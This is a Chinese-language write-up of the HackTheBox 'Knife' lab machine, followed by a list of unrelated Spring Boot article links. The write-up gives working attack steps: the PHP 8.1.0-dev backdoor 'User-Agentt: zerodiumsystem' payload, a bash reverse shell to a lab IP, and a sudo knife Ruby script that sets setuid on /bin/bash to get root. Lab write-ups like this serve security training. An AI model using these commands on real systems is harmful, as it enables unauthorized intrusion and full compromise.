HackTheBox-Knife靶场实战

简介: HackTheBox-Knife靶场实战


感谢群友
@rural老哥的投稿,感谢分享  。在这篇文章详细记录了他打“HackTheBox-Knife”靶场的整个过程,希望大家能够从中有所收获。




首先连接openvpn实现访问到靶机

ping一下靶机地址测试网络连通

nmap来扫描服务器开了什么端口

从这里可以看出靶机开了22和80端口,随手试了几个ssh的弱口令没啥用,只能从80端口入手了,先访问网站

首页没发现可以利用的地方,再用dirsearch扫一波目录

扫描出来的目录访问之后没啥作用,我们来识别一波CMS用kali的whatweb来识别一波

这里看到了X-Powered-By[PHP/8.1.0-dev]不同寻常百度之后果然有问题,X-Powered-By是响应头里面的内容会泄露php的版本信息,而PHP/8.1.0-dev这个版本的php会有一个后门

漏洞描述PHP 8.1.0-dev 版本在2021年3月28日被植入后门,但是后门很快被发现并清除。当服务器存在该后门时,攻击者可以通过发送User-Agentt头来执行任意代码。

这边我们直接抓包并发送到重发器试试命令执行的结果


User-Agentt: zerodiumsystem("ifconfig");


现在就好办了直接反弹shell,本机vpn的ip

    bash -c 'exec bash -i &>/dev/tcp/10.10.14.3/4444 <&1'

    而我们在本机用执行nc监听端口

      nc -nvlp 4444

      得到反弹的shell,权限并不高,而且nc的shell不好用,所以用python来得到一个更好用的shell,好多语言都可以调用shell,你现在linux系统基本自带python所以python更加方便

        python -c 'import pty; pty.spawn("/bin/bash")'


        which python可以查看有没有python语言环境,这里有python3环境

        我们执行语句获取shell

        此用户权限较低,我们来提权

          sudo -l     可以知道我们了不用root密码来执行某些文件

          这边可以无密执行/usr/bin/knife文件,查看文件发现是ruby脚本的文件

          搜索了一下这个文件是一个ruby的包运行之后提示需要传递一个子命令

          这边是个setuid的提权,我找的了一个大佬的解释:

          setuid

          setuid是类unix系统提供的一个标志位, 其实际意义是set一个process的euid为这个可执行文件或程序的拥有者(比如root)的uid, 也就是说当setuid位被设置之后, 当文件或程序(统称为executable)被执行时, 操作系统会赋予文件所有者的权限, 因为其euid是文件所有者的uid


          举个例子

          setuid的方法是使用Linux的chmod指令,我们都习惯给予一个文件类似“0750” “0644” 之类的权限,它们的最高位0就是setuid的位置, 我们可以通过将其设为4来设置setuid位。(tips:设置为2为setgid,同setuid类似,即赋予文件所在组的权限)。

            chmod 4750 文件名
            or
            chmod u+s 文件名


            在这个命令执行之后, 我们再通过ls -l命令查看文件时, 可以发现文件owner权限的x 位变成了s ,这就说明setuid权限已经被设置, 之后任何user执行这个文件时(user需要有文件的执行权限), 都会以root的权限运行(此文件的owner为root)。所以,针对一个需要被很多user以root权限执行的文件, 我们可以通过setuid来进行操作, 这样就不必为所有user都添加sudo 命令。


            tips在使用setuid时, 需要保证此文件有被执行的权限(x), 如果没有执行权限。在使用ls -l查看权限时, 会发现setuid位被设置为了大写的S, 这说明setuid位没有被设置成功。

            原文链接:

            https://blog.csdn.net/weixin_44575881/article/details/86552016


            这边继续来提权,ruby执行命令方法exec,system,和%x。我们写一个赋予/bin/bash setuid的脚本

              echo “system(‘chmod +s /bin/bash’)” > j.rb

              我们james用户具有执行knife的权限并且是以root权限运行,所以写一个脚本来给/bin/bash/赋予setuid位


              sudo /usr/bin/knife exec j.rb   通过knife执行我们写的脚本


              sudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具

                /bin/bash -p


                –posix 这个指令是需要用到root权限的,由于设置了setuid所以实现了提权

                这样就可以拿到两个flag了

                最后提交拿到胜利!!

                相关文章
                |
                24天前
                |
                前端开发 JavaScript Java
                计算机Java项目|基于Springboot的漫画网站
                计算机Java项目|基于Springboot的漫画网站
                |
                2月前
                |
                安全 Java Spring
                springboot2.1.0漏洞修复及踩坑
                springboot2.1.0漏洞修复及踩坑
                |
                2月前
                |
                前端开发 Java API
                Knife4j使用教程
                Knife4j使用教程
                382 0
                |
                2月前
                |
                前端开发 Java 关系型数据库
                基于Springboot实现漫画网站平台
                基于Springboot实现漫画网站平台
                |
                2月前
                |
                Java 数据库连接 BI
                Github标星35K+超火的Spring Boot实战项目,附超全教程文档
                今天给大家推荐一个Github上面超火的SpringBoot实战电商项目mall,目前在Github上面已经有35k+Star。该项目拥有全套教程,对学习者特别友好。全套教程的获取方式已经放在文末!
                |
                2月前
                |
                安全 Java 程序员
                火爆全网的Spring Security手册及源码笔记,在Github上标星103K
                Spring Security 是一个基于 Spring AOP 和 Servlet 过滤器的安全框架,它提供了安全性方面的解决方案
                |
                9月前
                |
                Java 应用服务中间件 nginx
                Spring Boot 学习研究笔记(二十)-docker部署SpringBoot使用nginx配置域名
                Spring Boot 学习研究笔记(二十)-docker部署SpringBoot使用nginx配置域名
                251 0
                |
                9月前
                |
                安全 Java 测试技术
                Github标星98k,Alibaba最新发布的Spring Boot项目实战文档!太强了
                前言 又到了一年一度的备战秋招的时间,虽然这两年因为经济环境不太好,互联网行业的各大厂都再裁员,但是今年的秋招经济形势正在复苏,我特地拜托阿里的朋友将这份Spring Boot项目实战开发文档分享出来。 本文档涵盖Spring Boot企业级项目开发的各方面知识,重点介绍Maven项目的搭建、Jersey Restful风格、Postman测试接口、Swagger2可视化文档、Lombok优雅编码、Redis缓存、Security安全机制、Web Service服务、WebSocke t通信、性能测试、集成测试、Jeecg Boot快速开发框架、使用Docker进行项目部署、使
                |
                10月前
                |
                安全 Java 数据安全/隐私保护
                爆肝了!阿里最新版的这份Spring Security源码手册,狂揽GitHub榜首
                写在前面 自从 Spring Boot、Spring Cloud 火起来之后,Spring Security 也跟着沾了一把光! 其实我一直觉得 Spring Security 是一个比 Shiro 优秀很多的权限管理框架,但是重量级、配置繁琐、门槛高这些问题一直困扰着 Spring Security 的开发者,也让很多初学者望而却步。直到 Spring Boot 横空出世,这些问题统统都得到缓解。 在 Spring Boot 或者 Spring Cloud 中,如果想选择一个权限管理框架,几乎毫无疑问的选择 Spring Security,Shiro 在这个环境下已经不具备优势了。 但
                133 0
                |
                10月前
                |
                SpringCloudAlibaba Java 微服务
                Alibaba官方上线!SpringBoot+SpringCloud全彩指南(第五版)
                Alibaba作为国内一线互联网大厂,其中springcloudAlibaba更是阿里微服务最具代表性的技术之一,很多人只知道springcloudAlibaba其实面向微服务技术基本上都有的下面就给大家推荐一份Alibaba官网最新版:SpringBoot+SpringCloud微服务全栈开发小册
                117 0